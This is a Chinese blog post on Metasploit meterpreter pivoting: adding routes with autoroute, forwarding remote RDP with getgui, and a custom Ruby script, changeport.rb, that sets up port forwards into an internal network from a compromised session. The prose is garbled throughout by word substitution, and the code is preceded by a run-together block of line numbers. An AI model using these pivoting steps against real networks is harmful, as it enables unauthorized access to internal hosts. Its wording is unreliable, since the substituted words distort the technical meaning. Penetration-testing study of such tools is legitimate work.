初度打仗msf最让人高兴乐意的莫过于跳板遵守，经过msf添加路由遵守，大概直接独霸msf对原本不能访问的内网进行连贯(建树访问连贯是浸透的第１步），１旦建树连贯那么就是想干甚么都大概真是强大很是。
独霸meterpreter的autoroute遵守，即可实现该把持。首先独霸get_local_subnets脚本取得受控细碎本地子网，尔后独霸autoroute脚本添加路由。多么把持后就会看到添加的路由表，网关是session 3即payload程序。假设我在msf指定某个模块的ip地点是１九２.１六8.２四4.*，则会经过session3 网关进行转发，访问到目标ip.
跟建树网络连贯的另有１个经常独霸的，就是网络映照遵守，meterpreter中有１个getgui脚本(我的bt下脚本寄放路径/opt/metasploit/msf3/scripts/meterpreter外表有很多写好的脚本,如下图所示）
在《metasploit浸透测试指南》上说，getgui大概将远程的338九映照到本地的指定端口，遵守，这就是１个网络映照过程。
看其独霸体式格局，很简单，这里我不添加用户名和明码，直接建树连贯。运行run getgui -e -f 8080
履行后建树了连贯
大概建树连贯，转发凋射了。
但是在浸透测试中须要，总是在刷新的，畴前也有过须要，将内网的某个端口映照出来，进行连贯，是否也大概做到？带着这个标题问题，我看了１下getgui的实古代码。
我没有学过ruby，但是看了多么代码，很繁杂赫然分明，刚刚履行的run getgui -e -f 8080时，则含有-f则frwrd变量设置为true。而且保管-f背面的端口到变量lport中，而下面当frwrd为true，则会调用portfwd add -L 0.0.0.0 -l #{lport} -p 338九 -r １２7.0.0.１ 将远程338九(相关于payload便是１２7.0.0.１）映照到本地的指定的端口。
可见建树网络映照只须要这条命令即可。搜索该命令地点文件:
发明是在/opt/metasploit/msf3/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb中定义的。
应该是该命令的具体实现。从参数中很繁杂看出来。各个参数的含义。
大概看到否决很多命令add、delete、list等。
是以，如法泡制。假设我想将远程主机的１008１端口映照到本地的１008１端口，那怎样实现？
只须要１句话
client.run_cmd(２20;portfwd add -L 0.0.0.0 -l １008１ -p １008１ -r １２7.0.0.１２2１;)
在/opt/metasploit/msf3/scripts/meterpreter目次下创建changeport.rb
运行１下创建的脚本
看１下端口外形:
映照已经凋射。
从刚刚portfwd的命令大概知道，其否决add、delete、list命令，是以继续丰厚本身的脚本，大概实现多么１个遵守，添加端口映照、删除端口映照、查看端口映照。如法泡制大概写出如下脚本
Default| １２3四５六78九１0１1１２１3１四１５１六１7１8１九２0２１２2２3２四２５２六２7２8２九303１3２333四3５3六37383九四0四１四２四3四4四５四六四7四8四九５0５１５２５3５四５5５六５7５8５九六0六１六２六3六四六５六6六7六8六九707１7２737四7５7六77787九808１8２838四8５8六87888九90九１九２九3九四九５九六九7九8九9１00１0１10２１03１0四１0５１0六１07１08１0九１10１1１1１２１13１1四１1５１1六１17１18１1九１２0１２１1２2１２3１２四１２５１２六１２7１２8１２九１30１3１13２１33１3四１3５１3六１37１38１3九１四0１四１1四２１四3 | # Author: buchedan.org #------------------------------------------------------------------------------- ################## Variable Declarations ################## session = client @@exec_opts = Rex::Parser::Arguments.new( "-h" => [ true, "Help menu." ], "-c" => [ true, "include -add -list -del. " ], "-l" => [ true, "localport and it is not using." ], "-r" => [ true, "remoteip of trying to connect." ], "-p" => [ true, "remoteport of trying to connect." ] ) def usage print_line("portfwd ") print_line("Usage: changeport -c add -l <localport> -r <remoteip> -p <remoteport>") print_line("Usage: changeport -c list ") print_line("Usage: changeport -c del -l <localport> ") print(@@exec_opts.usage) raise Rex::Script::Completed end def message print_status "portfwd remoteip port to localport" print_status "http://buchedan.org" end ################## MAIN ################## # Parsing of Options cmd = nil lport = nil rip = nil rport = nil @@exec_opts.parse(args) { |opt, idx, val| case opt when "-c" cmd = val when "-h" usage when "-l" lport = val when "-r" rip = val when "-p" rport = val end } if client.platform =~ /win3２|win六四/ if args.length > 0 # show info message case cmd when "list" client.run_cmd("portfwd list") when "add" if (!lport or !rip or !rport) print_error("You must supply a local port, remote host, and remote port.") return end client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p #{rport} -r #{rip}") #print_status("Starting the #{rip}:#{rport} forwarding at local port #{lport}") when "del" if(!lport) print_error("You must supply a local port.") return else client.run_cmd("portfwd delete -L 0.0.0.0 -l #{lport}") end end else usage end else print_error("This version of Meterpreter is not supported with this Script!") raise Rex::Script::Completed end |
放入到/opt/metasploit/msf3/scripts/meterpreter下
独霸体式格局演示
大概浮现救济消息，建树映照，浮现映照，删除映照。固然鸟语写的不好，只有本身能看懂。
起先蓦地影象，才发明现在的本身是多么的２，本来meterpreter本身就有这个portfwd遵守，大概直接独霸，我真是脱裤子放屁了。彻底实现了add、list与delete。
总结
本文主要深造，独霸lcx做端口转发，将两个内网板滞(目标板滞和msf）建树连贯，同时独霸msfpayload进行作为跳板，大概进行继续浸透。开首是简单实现端口映照，体味基本的mterpreter脚本编程。
备注:
本文主若是以windows下payload为例，实在msf否决很多种脚本建树连贯。
相关文章链接：《Metasploit后浸透技能格式[１]》
[via@buchedan]
